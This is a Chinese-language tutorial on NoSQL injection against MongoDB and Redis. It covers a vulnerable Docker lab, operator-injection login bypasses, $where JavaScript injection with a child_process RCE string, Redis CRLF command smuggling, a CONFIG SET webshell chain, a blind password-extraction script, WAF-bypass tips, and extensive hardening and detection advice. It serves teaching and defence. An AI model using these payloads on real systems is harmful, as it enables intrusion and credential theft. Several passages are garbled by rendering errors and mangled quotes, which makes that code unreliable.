NoSQL注入原理与利用(MongoDB, Redis)
NoSQL注入的本质,就是欺骗“管家”的错误解析逻辑。· 后继进阶:掌握本文后,可进一步研究 [云原生环境下的数据存储安全](如AWS DynamoDB, Azure Cosmos DB的潜在注入)、[GraphQL注入](另一种灵活的查询语言),以及 [IAST/RASP技术在运行时防御NoSQL注入] 的原理。NoSQL注入:攻击者通过向应用程序提交精心构造的输入数据,影响或操控后端NoSQL
第一部分:开篇明义 —— 定义、价值与目标
定位与价值
在Web应用安全领域,SQL注入早已是家喻户晓的头号威胁。然而,随着互联网数据规模的爆炸式增长和敏捷开发的需求,以MongoDB、Redis等为代表的NoSQL数据库因其高性能、高扩展性和灵活的数据模型被广泛应用。随之而来,一个常见的误解是:“NoSQL数据库没有固定的查询语言,所以不存在注入攻击”。这无疑是危险的。NoSQL注入正是攻击者利用应用程序对用户输入处理不当,向NoSQL数据库查询逻辑中注入恶意指令的一种攻击手法。其危害性与SQL注入等同,可导致数据泄露、数据篡改、权限绕过乃至远程代码执行(RCE)。
理解NoSQL注入,对于现代应用安全防御体系构建至关重要。它位于渗透测试中“漏洞利用”环节的核心,是突破应用后端数据层、验证授权逻辑缺陷的利器。掌握其原理与利用,意味着安全人员能从传统的SQL思维定式中跳脱出来,应对日益复杂的异构数据存储架构。
学习目标
读完本文,你将能够:
- 阐述NoSQL注入的核心概念、与SQL注入的根本区别,以及其产生的深层次原因。
- 识别基于MongoDB和Redis的应用程序中潜在的NoSQL注入点。
- 独立完成对MongoDB查询注入、盲注、命令执行以及Redis未授权访问结合注入的攻击链复现。
- 分析并实施针对开发侧与运维侧的、有效的NoSQL注入防御与检测方案。
- 连接NoSQL注入知识与其他Web漏洞(如SSRF、反序列化),形成体系化的攻击面认知。
前置知识
· 基础HTTP协议与Web请求:理解GET/POST请求、参数传递。
· JavaScript基础:了解JSON语法和JavaScript对象。
· NoSQL基本概念:了解MongoDB的文档模型、Redis的键值存储模型。
· Docker基础操作:能够使用docker和docker-compose命令运行容器。
第二部分:原理深掘 —— 从“是什么”到“为什么”
核心定义与类比
NoSQL注入:攻击者通过向应用程序提交精心构造的输入数据,影响或操控后端NoSQL数据库的查询、更新或命令执行逻辑,从而绕过安全限制、窃取或破坏数据的攻击方式。
类比:想象一个智能管家(应用程序)负责管理你的储物间(NoSQL数据库)。你通过语音或纸条(用户输入)告诉管家“把标价大于50的商品清单给我”。正常情况下,管家会解析你的指令,生成一个内部命令去查找。但如果攻击者说:“把标价大于50 或者 1等于1 的商品清单给我”,而管家没有正确处理“或者”这个逻辑,就可能错误地执行了“把所有商品清单给我”的命令。NoSQL注入的本质,就是欺骗“管家”的错误解析逻辑。
根本原因分析
NoSQL注入的根本原因与SQL注入一脉相承:将用户输入的数据与代码(查询逻辑)不加区分地混合执行。但其表现形式因NoSQL数据库的特性而有所不同:
- 查询语言的灵活性:NoSQL查询常以JSON/BSON、数组或特定API参数的形式传递,而非标准字符串。当应用程序使用字符串拼接、不安全的重组方式来构建这些查询结构时,漏洞就产生了。
· 代码层缺陷:例如,在Node.js中,使用eval或JSON.parse处理未经验证的输入来构建查询对象;在PHP中,将用户输入直接传递给MongoDB::execute或where操作符。⋅逻辑层缺陷:应用程序期望接收一个“值”,但攻击者提供了一个包含“操作符”(如where操作符。 · 逻辑层缺陷:应用程序期望接收一个“值”,但攻击者提供了一个包含“操作符”(如where操作符。⋅逻辑层缺陷:应用程序期望接收一个“值”,但攻击者提供了一个包含“操作符”(如ne, $gt, $where)的“对象”或“数组”,导致查询逻辑被篡改。 - 弱类型或无模式:许多NoSQL数据库是弱类型或动态类型的。应用程序预期一个字符串参数,但攻击者可以提交一个数字、布尔值true、数组[],甚至是null,这可能引发逻辑判断的意外行为,尤其是在用于认证或状态检查时。
- 功能丰富的查询接口:像MongoDB的$where操作符允许执行JavaScript代码,Redis的EVAL命令执行Lua脚本。如果用户输入直接传入这些功能,则可能导致严重的代码注入。
为了清晰展示攻击者视角下的攻击路径,我们通过下图揭示NoSQL注入从输入到达成攻击目标的完整流程:
核心机制详解:SQL注入 vs. NoSQL注入
为了更好地理解NoSQL注入的特性,我们将其与经典的SQL注入进行对比。
特性 SQL注入 NoSQL注入 (以MongoDB为例)
查询语言 结构化查询语言(SQL),字符串形式。 基于JSON/BSON的查询文档,或API调用。
注入点 WHERE子句、UNION查询、存储过程等。 查询选择器、投影、更新文档、聚合管道、特定操作符(如KaTeX parse error: Expected '}', got 'EOF' at end of input: …ION SELECT … {“ne”: null}; {“KaTeX parse error: Expected 'EOF', got '}' at position 8: gt”: “”}̲; {“where”: “恶意JS代码”}
注入手法 通过引号闭合字符串,插入逻辑操作符。 提供完整的操作符对象,或篡改JSON/数组结构。
盲注 基于布尔或时间的盲注,利用条件响应差异或延时。 同样支持布尔盲注($regex, where结合sleep)和时间盲注(如where结合sleep)和时间盲注(如where结合sleep)和时间盲注(如where中使用Date().getTime()延时)。
自动化工具 SQLmap等工具成熟。 针对性工具较少(如NoSQLmap),更多依赖手动或定制脚本。
关键洞察:NoSQL注入更侧重于“操作符注入”和“结构注入”,而SQL注入侧重于“语句注入”。这要求测试者必须理解目标NoSQL数据库的查询语法和数据交互协议。
第三部分:实战演练 —— 从“为什么”到“怎么做”
环境与工具准备
演示环境
· 宿主机:Kali Linux 2023.4 / Ubuntu 22.04
· 实验环境:使用Docker容器化部署,确保环境隔离与可复现。
核心工具
· Docker & Docker-compose: 环境编排。
· MongoDB: 版本 6.0。
· Redis: 版本 7.0。
· Node.js (Express): 用于构建存在漏洞的示例Web应用。
· Python 3 + requests库: 用于编写攻击脚本。
· Burp Suite / Postman: 用于拦截和修改HTTP请求。
· mongosh / redis-cli: 数据库命令行客户端。
最小化实验环境搭建
创建 docker-compose.yml 文件:
# docker-compose.yml
version: '3.8'
services:
vuln-app:
build: ./app # 我们将在此目录下创建Dockerfile和Node.js应用
ports:
- "3000:3000"
depends_on:
- mongo
- redis
environment:
- MONGO_URL=mongodb://mongo:27017/vulndb
- REDIS_URL=redis://redis:6379
mongo:
image: mongo:6.0
ports:
- "27017:27017"
volumes:
- ./mongo-init.js:/docker-entrypoint-initdb.d/mongo-init.js:ro
# 警告:以下配置仅为实验环境,生产环境必须设置认证!
command: mongod --bind_ip_all
redis:
image: redis:7.0-alpine
ports:
- "6379:6379"
# 警告:以下配置仅为实验环境,生产环境必须设置密码并禁用危险命令!
command: redis-server --appendonly yes --bind 0.0.0.0
volumes:
- ./redis-data:/data
创建Node.js漏洞应用 (app/Dockerfile 和 app/app.js) 及初始化脚本 (mongo-init.js),具体代码将在下文实战环节中结合场景给出。
启动环境:docker-compose up --build -d
标准操作流程
场景一:MongoDB NoSQL 注入
- 发现/识别
目标应用是一个简单的用户登录API,使用MongoDB存储用户凭证。后端(Node.js/Express)存在漏洞代码:
// 危险代码:使用字符串拼接构建查询对象
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// 漏洞点:直接将用户输入传递给查询构造器
const query = {
username: username,
password: password
};
const user = await db.collection('users').findOne(query);
if (user) {
res.send('登录成功!');
} else {
res.send('用户名或密码错误');
}
});
正常请求:POST /login with {“username”: “admin”, “password”: “secret123”}
探测:尝试发送非常规输入,观察响应差异。
· Payload 1 (布尔值): {“username”: “admin”, “password”: true}
· 原理:如果密码字段在数据库中是布尔型(可能性小),true可能匹配。但更常见的是触发类型混淆,MongoDB中true不等于字符串。
· Payload 2 (操作符注入): {“username”: “admin”, “password”: {“KaTeX parse error: Expected 'EOF', got '}' at position 10: ne”: null}̲} · 原理:查询条件变为…ne: null}}。即查找用户名为admin且密码不等于 null 的用户。只要admin用户的密码字段存在(不为null),条件就成立。
如果使用Payload 2返回了“登录成功”,则确认存在NoSQL注入。
- 利用/分析
利用1:绕过认证
直接使用{“KaTeX parse error: Expected 'EOF', got '}' at position 8: ne”: “”}̲或{“regex”: “.*”}作为密码值,可以匹配任何非空或符合任意正则的密码。
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"admin", "password":{"$ne":""}}'
利用2:提取数据(盲注)
假设登录成功后只返回布尔信息(成功/失败)。我们可以利用$regex操作符进行基于布尔的盲注,逐字符猜解密码。
例如,猜解密码第一位是否为字母‘a’:
{
"username": "admin",
"password": {
"$regex": "^a"
}
}
如果登录成功,则说明密码以‘a’开头。我们可以编写脚本自动化这个过程。
利用3:通过 where操作符执行JavaScript(高危)如果应用程序使用了不安全的where 操作符执行JavaScript(高危) 如果应用程序使用了不安全的where操作符执行JavaScript(高危)如果应用程序使用了不安全的where操作符,并且用户输入被拼接进去:
// 危险代码:拼接用户输入到 $where 子句
const username = req.query.username;
const query = { $where: `this.username == '${username}'` };
攻击者可以注入任意JS代码:
// 正常:/search?username=admin
// 注入:/search?username=admin' && this.password.startsWith('a') || 'a'=='b
// 注入RCE(如果环境允许):/search?username=admin' && (()=>{ require('child_process').exec('id'); return true; })() || 'a'=='b
利用4:时序攻击(Time-Based Blind Injection)
利用$where中的sleep功能(如果JS环境支持)或通过复杂正则导致查询超时,来推断信息。
// 在 $where 中注入 sleep
`this.username == 'admin' && (()=>{ var d = new Date(); while(new Date() - d < 5000){ }; return true; })() && '1'=='1`
- 验证/深入
成功绕过登录后,可以进一步访问需要认证的接口。结合其他漏洞,如从用户profile接口中获取其他用户数据(利用类似的注入点),扩大战果。
场景二:Redis NoSQL 注入与未授权访问
- 发现/识别
目标应用使用Redis缓存会话和用户数据。存在一个“缓存查询”功能,后端代码如下:
# 危险代码:Flask应用,拼接用户输入到Redis命令
import redis
r = redis.Redis(host='redis', port=6379, decode_responses=True)
@app.route('/getcache')
def get_cache():
key = request.args.get('key') # 用户可控
# 漏洞点:直接拼接key到命令
value = r.get(f”cache:{key}”)
return value or “Not Found”
更危险的情况是,如果Redis服务器配置不当,未启用认证且绑定在公网(–bind 0.0.0.0),攻击者可以直接连接Redis服务(未授权访问)。这是Redis最常见的高危漏洞之一。
# 探测Redis未授权访问
redis-cli -h <target_ip> -p 6379
> INFO # 如果返回服务器信息,则存在未授权访问
- 利用/分析
利用1:键空间注入与SSRF
在/getcache接口,假设我们想读取另一个键cache:admin:token。如果我们提交key=admin:token,最终命令是GET cache:admin:token。
但如果我们注入换行符\n(Redis协议是文本行协议),就可以执行多条命令:
请求: /getcache?key=foo%0D%0ASET%20injected%20pwned%0D%0AQUIT
# URL解码后: key=foo\r\nSET injected pwned\r\nQUIT
后端执行的命令变为:
GET cache:foo
SET injected pwned
QUIT
这将设置一个新的键injected。虽然GET可能返回空,但我们通过注入成功执行了SET命令。
利用2:未授权访问 + 命令注入 = 直接RCE
这是Redis最致命的攻击链。利用未授权访问,攻击者可以向Redis写入恶意数据,并控制Redis将数据持久化到特定文件(如Web根目录),从而实现代码执行。
# 1. 连接未授权Redis
redis-cli -h 192.168.1.100
# 2. 设置一个包含Web Shell的键
> config set dir /var/www/html # 尝试修改持久化目录为Web目录
> config set dbfilename shell.php # 设置持久化文件名为.php
> set test "<?php @eval($_POST['cmd']);?>" # 写入PHP Web Shell
> save # 触发保存,将内存数据写入文件 /var/www/html/shell.php
随后,访问 http://192.168.1.100/shell.php 即可执行任意命令。
- 验证/深入
验证Redis注入时,可以通过观察应用程序的异常响应(如错误信息、延迟)来判断。对于未授权访问RCE,写入Webshell后使用蚁剑或中国菜刀等工具进行连接,验证代码执行能力。
自动化与脚本
以下是一个用于探测MongoDB布尔盲注的Python脚本示例:
#!/usr/bin/env python3
"""
NoSQL MongoDB 布尔盲注脚本
警告:仅用于授权的渗透测试环境。
"""
import requests
import string
import sys
import time
TARGET_URL = “http://localhost:3000/login”
HEADERS = {“Content-Type”: “application/json”}
def test_payload(payload):
"""发送Payload并检查响应是否表示‘成功’(这里假设成功响应包含‘成功’字样)"""
data = {“username”: “admin”, “password”: payload}
try:
resp = requests.post(TARGET_URL, json=data, headers=HEADERS, timeout=10)
return “成功” in resp.text # 根据实际情况调整判断条件
except Exception as e:
print(f”[!] 请求失败: {e}”)
return False
def extract_data():
"""逐字符提取admin用户的密码"""
extracted = “”
chars = string.ascii_letters + string.digits + “!@#$%^&*()”
# 假设我们知道密码长度,或通过`$regex`:”^.{1,20}$”先探测长度
for position in range(1, 20): # 假设密码最长为20
found_char = None
for char in chars:
# 构造regex payload: 密码的第N位是char
# 注意:MongoDB $regex 默认是部分匹配,需要^和.来精确定位
regex_payload = {“$regex”: f”^{extracted}{char}”}
sys.stdout.write(f”\r[*] 测试位置 {position}: {extracted}{char}”)
sys.stdout.flush()
if test_payload(regex_payload):
found_char = char
extracted += char
print(f”\n[+] 找到字符: ‘{char}’, 当前密码: ‘{extracted}’”)
break
if not found_char:
print(f”\n[!] 位置 {position} 没有匹配字符,可能已结束。”)
break
print(f”\n[+] 最终提取的密码: ‘{extracted}’”)
if __name__ == “__main__”:
print(“[*] 开始NoSQL盲注...”)
# 第一步:验证注入点是否存在
if test_payload({“$ne”: “”}):
print(“[+] 注入点确认!”)
extract_data()
else:
print(“[-] 未发现注入点。”)
对抗性思考:绕过与进化
现代应用可能引入WAF或输入过滤器来防御ne、ne、ne、gt等明显操作符。
· 操作符编码/混淆:MongoDB shell和某些驱动支持Unicode、HTML/URL编码。例如,KaTeX parse error: Expected '}', got 'EOF' at end of input: …word”: {“a”: {“ne”: “”}}},而查询构造时可能被错误地展开。
· 逻辑替换:不用ne,用ne,用ne,用not + KaTeX parse error: Expected '}', got 'EOF' at end of input: eq:{“not”: {“KaTeX parse error: Expected 'EOF', got '}' at position 8: eq”: “”}̲}。或用regex进行更隐蔽的匹配。
· 针对Redis:WAF可能过滤空格和换行符。可以使用Tab(%09)、换页符等其他空白符尝试绕过。对于协议,可以尝试使用完整RESP协议格式进行二次封装。
第四部分:防御建设 —— 从“怎么做”到“怎么防”
开发侧修复
原则:永远不要信任用户输入,严格区分数据与代码。
MongoDB 安全范式
危险模式 vs 安全模式
- 避免拼接查询对象:
// 危险:直接将用户输入作为查询对象的一部分 const query = { username: req.body.username, password: req.body.password }; // 安全:使用参数化查询(驱动程序支持)或显式构建白名单允许的字段 // 对于登录,最佳实践是:先通过用户名查找,再在应用代码中比对哈希密码。 const user = await usersCollection.findOne({ username: req.body.username }); if (!user) { ... } const isValid = await bcrypt.compare(req.body.password, user.passwordHash); - 严格处理 $where 和 $expr:
// 危险:拼接字符串到 $where const query = { $where: `this.name === '${name}'` }; // 安全:完全避免使用 $where,或确保输入是严格的白名单值。 // 如果必须用,使用绑定参数(但MongoDB $where本身不支持参数化,因此最好不用)。 - 类型与范围校验:
// 使用Joi、Yup、class-validator等库进行输入验证 const schema = Joi.object({ username: Joi.string().alphanum().min(3).max(30).required(), password: Joi.string().pattern(new RegExp('^[a-zA-Z0-9]{3,30}$')), age: Joi.number().integer().min(0).max(150) // 明确类型和范围 }); const { value, error } = schema.validate(req.body);
Redis 安全范式
- 使用安全的API:
# 危险:使用format字符串或%拼接 r.get(f”user:{user_input}“) # 危险:使用execute_command直接拼接 r.execute_command(f”GET {user_input}”) # 安全:使用客户端库提供的标准方法,键名作为参数传递 r.get(user_input) # 这本身是安全的,因为`user_input`是整个键值,不会被解析为命令。 # 但绝对禁止将用户输入直接传入 `eval()` 或 `script_load()` 的`script`参数。 - 过滤输入:
# 检查键名是否只包含允许的字符 import re if not re.match(r’^[a-zA-Z0-9:_-]+$’, key): raise ValueError(“Invalid key format”)
运维侧加固
MongoDB
· 启用认证:部署必须使用–auth参数,创建强密码的用户和角色。
· 网络隔离:将MongoDB部署在内网,仅允许应用服务器访问。使用防火墙规则限制源IP。
· 最小权限原则:为应用程序创建专用数据库用户,只授予必要的读写权限,切勿使用root或dbAdmin角色。
· 禁用危险功能:在生产环境中,考虑通过–noscripting禁用服务器端JavaScript执行(但这会影响$where, mapReduce等)。
· 定期更新:保持MongoDB版本更新,修复已知漏洞。
Redis
· 强制认证:在redis.conf中配置requirepass <强密码>,并在客户端连接时使用AUTH命令。
· 禁止远程访问:绑定内网IP,bind 127.0.0.1 或 bind <内网IP>。绝对不要使用 bind 0.0.0.0。
· 重命名或禁用危险命令:将CONFIG, FLUSHDB, EVAL, SHUTDOWN等命令重命名为随机字符串或禁用。
rename-command CONFIG “”
rename-command FLUSHDB “”
rename-command EVAL “”
· 以非root用户运行:使用redis用户启动Redis服务。
· 启用保护模式:protected-mode yes(默认)。当未显式绑定IP且未设置密码时,只接受本地连接。
检测与响应线索
· 应用日志:监控应用日志中异常的查询结构,如包含where、where、where、ne、$regex等操作符的查询(如果业务本身不用)。关注来自同一源的频繁认证失败但逻辑异常(如密码字段是对象)的请求。
· 数据库日志 (MongoDB):开启审计日志–auditDestination file --auditFormat JSON --auditPath /path/to/audit.log,分析异常查询模式。
· 网络流量:对于Redis,监控是否有非应用服务器IP直接向Redis端口(6379)发起连接并发送CONFIG, SET, FLUSHDB等命令。可以使用WAF或IDS规则检测Redis协议中的攻击载荷(如config set dir)。
· 文件系统监控 (HIDS):监控Web目录下是否被创建了异常文件(如.php, .jsp),这可能是Redis未授权访问导致Webshell写入的迹象。
第五部分:总结与脉络 —— 连接与展望
核心要点复盘
- NoSQL注入真实存在且危害巨大,其根源与SQL注入相同:混淆了数据与代码的边界。
- 攻击手法多样:MongoDB中主要通过操作符注入($ne, $regex, $where)和结构注入;Redis中则常与未授权访问结合,通过协议注入实现RCE。
- 防御核心在于严格输入校验与安全配置:开发侧采用参数化查询、输入验证、避免危险API;运维侧强制认证、网络隔离、最小权限。
- NoSQL注入的检测需要结合应用日志、数据库审计日志和网络流量分析,关注异常查询结构和连接行为。
- 自动化利用工具虽不如SQLmap成熟,但通过编写定制脚本(如布尔盲注脚本),可以高效地进行漏洞利用与验证。
知识体系连接
· 前序基础:本文建立在 [Web应用安全基础]、[HTTP协议与BurpSuite使用]、[JavaScript与Node.js安全概要] 以及 [NoSQL数据库基础] 等知识之上。理解这些是掌握NoSQL注入的前提。
· 横向关联:NoSQL注入常与 [服务器端请求伪造 (SSRF)] 结合(通过Redis或MongoDB驱动进行内网探测),也与 [不安全的反序列化] 有相似之处(将不受控的数据解析为可执行结构)。
· 后继进阶:掌握本文后,可进一步研究 [云原生环境下的数据存储安全](如AWS DynamoDB, Azure Cosmos DB的潜在注入)、[GraphQL注入](另一种灵活的查询语言),以及 [IAST/RASP技术在运行时防御NoSQL注入] 的原理。
进阶方向指引
- 面向其他NoSQL数据库的注入研究:如Cassandra(CQL)、Elasticsearch(DSL)、CouchDB等的独特查询语法和潜在注入点。探索这些数据库的特定功能(如Elasticsearch的Painless脚本)带来的安全风险。
- 自动化漏洞挖掘与利用框架开发:现有的NoSQLmap等项目维护状态不佳。开发一个现代化的、支持多种NoSQL数据库、具备智能检测和利用能力的开源工具,是极具价值的贡献方向。
自检清单
· 是否明确定义了本主题的价值与学习目标?
· 开篇阐明了NoSQL注入在NoSQL普及背景下的重要性与危害,并列出了5个具体、可衡量的学习目标。
· 原理部分是否包含一张自解释的Mermaid核心机制图?
· 提供了“NoSQL注入攻击流程图”,清晰地展示了从攻击输入到攻击达成的完整路径及关键决策点。
· 实战部分是否包含一个可运行的、注释详尽的代码片段?
· 提供了完整的docker-compose.yml环境搭建示例,以及用于MongoDB布尔盲注的Python脚本,代码中包含详细注释、错误处理和明显警告。
· 防御部分是否提供了至少一个具体的安全代码示例或配置方案?
· 针对MongoDB和Redis,分别给出了“危险模式 vs 安全模式”的代码对比,以及可落地的运维加固配置命令(如认证、绑定IP、重命名危险命令)。
· 是否建立了与知识大纲中其他文章的联系?
· 在“知识体系连接”小节,明确指出了与前序基础、横向关联及后继进阶文章的关联。
· 全文是否避免了未定义的术语和模糊表述?
· 关键术语如NoSQL注入、操作符注入、未授权访问等首次出现时均已加粗并给出解释,技术描述力求准确清晰。
更多推荐
所有评论(0)